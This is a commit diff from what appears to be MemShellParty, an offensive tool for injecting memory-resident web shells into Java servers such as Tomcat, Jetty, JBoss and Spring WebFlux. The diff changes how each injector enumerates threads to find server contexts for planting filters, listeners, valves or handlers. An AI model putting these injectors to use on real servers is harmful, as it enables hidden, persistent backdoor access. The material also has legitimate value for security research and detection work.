mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
style: unify fetch threads
This commit is contained in:
+2
-1
@@ -10,6 +10,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -45,7 +46,7 @@ public class SpringWebFluxHandlerFunctionInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public Object getWebHandler() throws Exception {
|
public Object getWebHandler() throws Exception {
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
Object nettyWebServer = getFieldValue(thread, "this$0");
|
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||||
|
|||||||
+2
-1
@@ -13,6 +13,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Collection;
|
import java.util.Collection;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -48,7 +49,7 @@ public class SpringWebFluxHandlerMethodInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public Object getWebHandler() throws Exception {
|
public Object getWebHandler() throws Exception {
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
Object nettyWebServer = getFieldValue(thread, "this$0");
|
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||||
|
|||||||
+3
-5
@@ -12,6 +12,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.net.SocketAddress;
|
import java.net.SocketAddress;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -45,11 +46,8 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
|
|||||||
private Class<?> handlerClass;
|
private Class<?> handlerClass;
|
||||||
|
|
||||||
public Object getNettyServer() throws Exception {
|
public Object getNettyServer() throws Exception {
|
||||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
Field threads = group.getClass().getDeclaredField("threads");
|
for (Thread thread : threads) {
|
||||||
threads.setAccessible(true);
|
|
||||||
Thread[] allThreads = (Thread[]) threads.get(group);
|
|
||||||
for (Thread thread : allThreads) {
|
|
||||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
return thread;
|
return thread;
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-3
@@ -12,6 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -47,9 +48,7 @@ public class SpringWebFluxWebFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public FilteringWebHandler getWebHandler() throws Exception {
|
public FilteringWebHandler getWebHandler() throws Exception {
|
||||||
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
getThreads.setAccessible(true);
|
|
||||||
Thread[] threads = (Thread[]) getThreads.invoke(null);
|
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
Object nettyWebServer = getFieldValue(thread, "this$0");
|
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||||
|
|||||||
+3
-5
@@ -15,6 +15,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.ThreadPoolExecutor;
|
import java.util.concurrent.ThreadPoolExecutor;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
@@ -81,11 +82,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
}
|
}
|
||||||
|
|
||||||
public void inject() throws Exception {
|
public void inject() throws Exception {
|
||||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
Field threads = group.getClass().getDeclaredField("threads");
|
for (Thread thread : threads) {
|
||||||
threads.setAccessible(true);
|
|
||||||
Thread[] allThreads = (Thread[]) threads.get(group);
|
|
||||||
for (Thread thread : allThreads) {
|
|
||||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||||
Object target;
|
Object target;
|
||||||
|
|
||||||
|
|||||||
+2
-1
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -46,7 +47,7 @@ public class ApusicFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
||||||
|
|||||||
+2
-1
@@ -7,6 +7,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -44,7 +45,7 @@ public class ApusicListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
||||||
|
|||||||
+2
-1
@@ -7,6 +7,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -45,7 +46,7 @@ public class ApusicServletInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
||||||
|
|||||||
+1
-1
@@ -47,7 +47,7 @@ public class BesFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+1
-1
@@ -43,7 +43,7 @@ public class BesListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+1
-1
@@ -39,7 +39,7 @@ public class BesValveInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+1
-1
@@ -46,7 +46,7 @@ public class GlassFishFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+1
-1
@@ -43,7 +43,7 @@ public class GlassFishListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+1
-1
@@ -39,7 +39,7 @@ public class GlassFishValveInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+5
-13
@@ -6,10 +6,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.logging.Logger;
|
import java.util.logging.Logger;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -49,18 +46,13 @@ public class InforSuiteFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object key : childrenMap.keySet()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
|
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object key1 : children.keySet()) {
|
contexts.addAll(children.values());
|
||||||
Object context = children.get(key1);
|
|
||||||
if (context != null) {
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-5
@@ -6,10 +6,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Collection;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -48,7 +45,7 @@ public class JbossFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+1
-1
@@ -40,7 +40,7 @@ public class JbossListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+1
-1
@@ -39,7 +39,7 @@ public class JbossValveInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+2
-1
@@ -6,6 +6,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -108,7 +109,7 @@ public class JettyFilterInjector {
|
|||||||
|
|
||||||
private List<Object> getContext() throws Exception {
|
private List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
// jetty 6
|
// jetty 6
|
||||||
|
|||||||
+2
-1
@@ -10,6 +10,7 @@ import java.lang.reflect.Method;
|
|||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.EventListener;
|
import java.util.EventListener;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -45,7 +46,7 @@ public class JettyListenerInjector {
|
|||||||
|
|
||||||
private List<Object> getContext() throws Exception {
|
private List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
// jetty 6
|
// jetty 6
|
||||||
|
|||||||
+2
-1
@@ -7,6 +7,7 @@ import java.lang.reflect.*;
|
|||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -53,7 +54,7 @@ public class JettyServletInjector {
|
|||||||
|
|
||||||
private List<Object> getContext() throws Exception {
|
private List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
// jetty 6
|
// jetty 6
|
||||||
|
|||||||
+1
-1
@@ -43,7 +43,7 @@ public class ResinFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
Class<?> servletInvocationClass = null;
|
Class<?> servletInvocationClass = null;
|
||||||
try {
|
try {
|
||||||
|
|||||||
+1
-1
@@ -41,7 +41,7 @@ public class ResinListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
Class<?> servletInvocationClass = null;
|
Class<?> servletInvocationClass = null;
|
||||||
try {
|
try {
|
||||||
|
|||||||
+1
-1
@@ -44,7 +44,7 @@ public class ResinServletInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||||
|
|||||||
+3
-8
@@ -6,10 +6,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -52,15 +49,13 @@ public class TomcatFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object context : children.values()) {
|
contexts.addAll(children.values());
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
||||||
|
|||||||
+3
-8
@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -47,15 +44,13 @@ public class TomcatListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object context : children.values()) {
|
contexts.addAll(children.values());
|
||||||
contexts.add(context);
|
